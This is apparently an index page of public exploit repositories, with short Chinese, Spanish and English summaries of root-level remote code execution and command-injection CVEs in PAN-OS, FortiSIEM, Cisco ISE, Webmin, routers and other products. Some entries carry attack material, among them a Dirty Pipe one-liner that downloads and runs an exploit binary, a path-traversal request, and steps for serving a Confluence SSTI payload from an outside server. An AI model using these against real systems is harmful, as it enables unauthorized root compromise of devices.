CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS 命令注入 供应商描述 Palo Alto Networks PAN-OS 软件的 GlobalProtect 功能中，针对特定 PAN-OS 版本和不同的功能配置存在一个命令注入漏洞，可能允许未经身份验证的攻击者以 root 权限在防火墙上执行任意代码。 漏洞利用 感谢 watchtowr labs 🚀 路径遍历/检查 HTTP 请求： POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie:...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE 已认证 用于利用 Webmin 1.997 之前版本中通过 Software Package Updates 模块存在的远程代码执行漏洞的 Exploit。 工作原理？ Webmin 的 Software Package Updates 模块在将 u 参数传递给系统之前未能正确进行清理。拥有该模块访问权限的已认证用户可以注入任意命令，这些命令将以 root 身份执行。 前提条件 在运行 Exploit 之前安装依赖项： pip3 install requests beautifulsoup4 lxml urllib3 参...

CVE-2024-23108

CVE-2024-23108：Fortinet FortiSIEM 未授权二阶命令注入 在易受攻击的 FortiSIEM 设备上以 root 权限盲执行命令的概念验证利用 博客文章 根本原因和入侵指标详见： https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive 使用方法 % python3 CVE-2024-23108.py -h usage: CVE-2024-23108.py -h -t...

CVE-2021-22123

CVE-2021-22123 Inyección de comandos del sistema operativo autenticada en Fortinet FortiWeb Hit Counter La vulnerabilidad de inyección de comandos en la interfaz de administración de FortiWeb puede permitir que un atacante remoto autenticado ejecute comandos arbitrarios en el sistema a través de ...

CVE-2025-20281-Cisco

CVE-2025-20281 - Cisco ISE RCE 漏洞检测工具 此脚本用于检测 Cisco Identity Services Engine ISE 和 ISE-PIC 中是否存在 CVE-2025-20281 漏洞，该漏洞允许未经身份验证的攻击者由于特定 API 中输入验证不足而执行 未经身份验证的远程代码执行 RCE ，并以 root 权限运行。 本工具仅供授权的安全测试和教育目的使用。请勿将其用于您无权测试或不属于您自己的系统。 关于漏洞 CVE-2025-20281 允许一个 未经身份验证的远程攻击者 通过提交特制的 API 请求，以 root...

Dirty-Pipe

Exploit en una línea CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2018-18852

CERIO路由器 已认证RCE（厂商后门凭据）CVE-2018-18852 Python PoC hook-s3c github.com/hook-s3c, @hooks3c 在Twitter上 针对CVE-2018-18852的有效Python PoC，最初发布在： https://github.com/hook-s3c/CVE-2018-18852 概述 CERIO路由器型号及变体包括DT300N、DT100G、AMR-3204、WMR-200N，存在已认证的基于Web的RCE漏洞，以root用户执行。 该漏洞以0day形式存在且未公开；...

CVE-2019-19356

NETIS路由器 WF2419 RCE CVE-2019-19356 背景 该漏洞是通过NETIS WF2419 路由器Web管理页面进行的经过身份验证的远程代码执行（RCE）漏洞，并以root权限执行。 该漏洞已在固件版本V1.2.31805和最新的可用固件版本V2.2.36123中发现。其他型号和固件也可能存在漏洞。 前提条件 为了利用该漏洞，需要满足几个前提条件。实际上，我们需要能够访问路由器的Web管理页面。此外，如果启用了身份验证，我们需要通过尝试弱密码/默认密码、执行中间人攻击或任何其他方式进行身份验证。 漏洞详情...

CVE-2023-1389

Descripción CVE-2023–1389 es una vulnerabilidad de inyección de comandos no autenticada en el router WiFi TP-Link Archer AX21. Una devolución de llamada en el parámetro country utiliza la función popen , que se ejecuta como root, lo que permite al atacante inyectar valores arbitrarios a través de...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — Investigación de Vulnerabilidades RAPTOR Loop-Hunt Una auditoría de seguridad de Liferay Portal CE 7.0.3 GA4 git tag 7.0.3-ga4, commit b2d7cc68a realizada con la metodología RAPTOR loop-hunt : reconocimiento determinista → 25 agentes generadores aislados leyendo el código...

CVE-2023-38035

CVE-2023-38035 POC de CVE-2023-38035 que afecta a Ivanti Sentry Análisis técnico Se puede encontrar un análisis técnico de la causa raíz de la vulnerabilidad en nuestro blog: https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive Resumen Este POC aprovecha una...

EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution

An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected comman...

CVE-2019-9653

CVE-2019-9653 日期 Disclosure: 03/11/2019 Last updated: 03/15/2019 摘要 NUUO Inc.是一家提供視訊監控解決方案的公司。他們有許多NVR（網路視訊錄影機）產品，可滿足不同客戶的各種要求。這些NVR為Linux的嵌入式視訊錄製系統，可以管理多個攝影機。目前，它們在全世界被許多公共機構、公司、銀行及個人等使用。這些NVR系統的Web界面包含許多嚴重漏洞可遭未經身份驗證的攻擊者利用。我們從中發現了一些易受攻擊的PHP腳本缺乏認證機制和輸入保護，因此它們可在NUUO設備上被利用以root權限執行遠端程式碼。 影響範圍 韌體版本...

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM 未授权命令注入 概念验证漏洞利用，用于在易受攻击的FortiSIEM设备上以root权限盲执行命令 博客文章 根本原因和入侵指标在此： https://www.horizon3.ai/attack-research/disclosures/cve-2023-34992-fortinet-fortisiem-command-injection-deep-dive 使用方法 % python3 CVE-2023-34992.py -h usage: CVE-2023-34992.py -h -t TARGET -p POR...

CVE-2024-23108

CVE-2024-23108 POC 针对存在漏洞的 FortiSIEM 设备，实现盲命令执行并获得 root 权限的概念验证漏洞利用程序。 我只是快速添加了提供 IP 列表的选项，并加入了一些颜色标记。 原版代码（以及全部功劳）归 horizon3 所有（请参见下面的博客文章）。 博客文章 根因分析和入侵指标请参见： https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive 在 Twitter 上关...

CVE-2022-0997

Fidelis Network and Deception - CVE-2022-0997 - Escalada de Privilegios por Permisos de Archivo Inseguros Publicación y Agradecimientos El exploit fue aprobado para su publicación pública por el Gobierno de los Estados Unidos. Agradecimientos especiales a los militares y enlaces gubernamentales...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Exploit de RCE no autenticado en la API ERS de Cisco ISE Este repositorio contiene un exploit de prueba de concepto en Python 3 para CVE-2025-20281 , una vulnerabilidad crítica en Cisco Identity Services Engine ISE que permite ejecución remota de código RCE no autenticada como ro...

CVE-2023-20887

CVE-2023-20887 POC para CVE-2023-20887 VMWare Aria Operations for Networks vRealize Network Insight RCE no autenticado Análisis Técnico Se puede encontrar un análisis de causa raíz de la vulnerabilidad en mi blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、pon el cmd.vm en tu sitio web debe usar ftp o https ,http no funciona 2、modifica RCEexp.py ，cambia el nombre de archivo = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python...

CVE-2021-38647

OMIGOD CVE-2021-38647 OMIGOD 的概念验证利用程序 背景信息和上下文，请阅读我们的博客文章，详细介绍此漏洞：https://www.horizon3.ai/news/blog/omigod 详情 CVE-2021-38647 是一个未经身份验证的远程代码执行漏洞，影响以 root 身份运行的 OMI 代理。 OMI 代理通常安装在 Azure Linux 服务器上，当使用以下服务时常见： Azure Automation Azure Automatic Update Azure Operations Management Suite Azure Log...